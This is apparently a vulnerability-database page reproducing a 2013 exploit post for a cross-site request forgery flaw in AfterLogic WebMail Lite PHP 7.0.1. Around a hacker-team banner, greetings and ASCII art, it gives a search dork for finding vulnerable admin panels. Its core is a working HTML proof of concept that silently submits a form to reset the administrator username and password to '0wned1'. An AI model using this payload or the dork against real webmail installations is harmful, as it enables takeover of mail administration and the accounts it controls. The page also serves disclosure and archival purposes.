AfterLogic WebMail Lite PHP 7.0.1 - Cross-Site Request Forgery

🗓️ 07 Jun 2013 00:00:00Reported by Pablo RibeiroType

AfterLogic WebMail Lite PHP 7.0.1 CSRF vulnerability allows unauthorized password rese

   1.
   #########################################################################
   2.
   3. [+] Exploit Title : AfterLogic WebMail Lite PHP CSRF
   4. [+] Author : Pablo '7days' Riberio
   5. [+] Team: So Good Security
   6. [+] Other 0days : http://pastebin.com/u/7days
   7. [+] Version : <= 7.0.1
   8. [+] Tested on : windows/internet explorer
   9. [+] Details: Reset admin password via CSRF
   10. [+] Vendor: http://www.afterlogic.org/
   11. [+] Duck : inurl:webmail/adminpanel/index.php?submit
   12.
   #########################################################################
   13.
   14.
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
   15. Gr33tz: Greg, Sonya from Mortal Kombat, the owner of the japanese
   steak creation factory,
   16. my home boy linus, all the cockneys and my grandma <3
   17.
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
   18. no thnx 2: microsoft, windoz, estate agents, all the script kiddies
   and recruiters
   19.
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
   20.                       `..`.:::.`
   21.                      .://o:::///:.
   22.                     `::+y+::::::/+/`
   23.                      :/++/::/:/--:+o:`
   24.                      `://:-:/-/:.-:/oo.
   25.                       `/-.-:::/o---::+o.
   26.                        ....-:/+hs::--:+o
   27.                         .``-//ohh+----:+.
   28.                        `.``-/+syhs:----/+`
   29.                       .-.`.-:+syyo:--.-:+/
   30.                     `---.`.-/+yo/:-----:+o.
   31.                    .::-...-:+/o/-.-----:+so`
   32.                  .-::-...-:::::-----:://osy:
   33.                 .::-....--:::----::/+ooosys-
   34.                `:--.....-:/:::::/+osyyyyo:`
   35. `             `----...--:/++++oosyyhhy+-`
   36. :::::-------:::---..--:/+oossyyhhhhs/.
   37. ::::::-------:--.-.--:+osyyyhhhhho-`
   38. ------------.....--:/+oyyhhhhhy+.
   39. -----------...---:/+osyhhhhyo:`
   40. :::::-------:::/+osyyhhhhs/.
   41. ++++++++++++oossyyhhhhs/.
   42. sssssssyyyyhhhhhhhyo:.`
   43.         ``..---..`
   44.
   45.                           portuguese cyber army
   46.
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
   47. [+] Begin 0day
   48.
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
   49.
   50. <html>
   51. <head>
   52. </head>
   53.   <body>
   54. <!-- AfterLogic WebMail Lite PHP 7.0.1 csrf -->
   55.     <form action="
   http://www.victim.com/webmail/adminpanel/index.php?submit" method="POST"
   id="csrf" name="csrf" onload="go()">
   56.       <input type="hidden" name="form_id" value="security" />
   57.       <input type="hidden" name="txtUserName" value="0wned1" />
   58.       <input type="hidden" name="txtNewPassword" value="0wned1" />
   59.       <input type="hidden" name="txtConfirmNewPassword"
   value="0wned1" />
   60.       <input type="submit" name="submit_btn" value="Save" />
   61.     </form>
   62. <script language="JavaScript" type="text/javascript">
   63. document.csrf.submit();
   64. </script>
   65.   </body>
   66.
   67. </html>
   68.
   69.
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
   70. [+] End 0day
   71.
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

07 Jun 2013 00:00Current

7.4High risk

Vulners AI Score7.4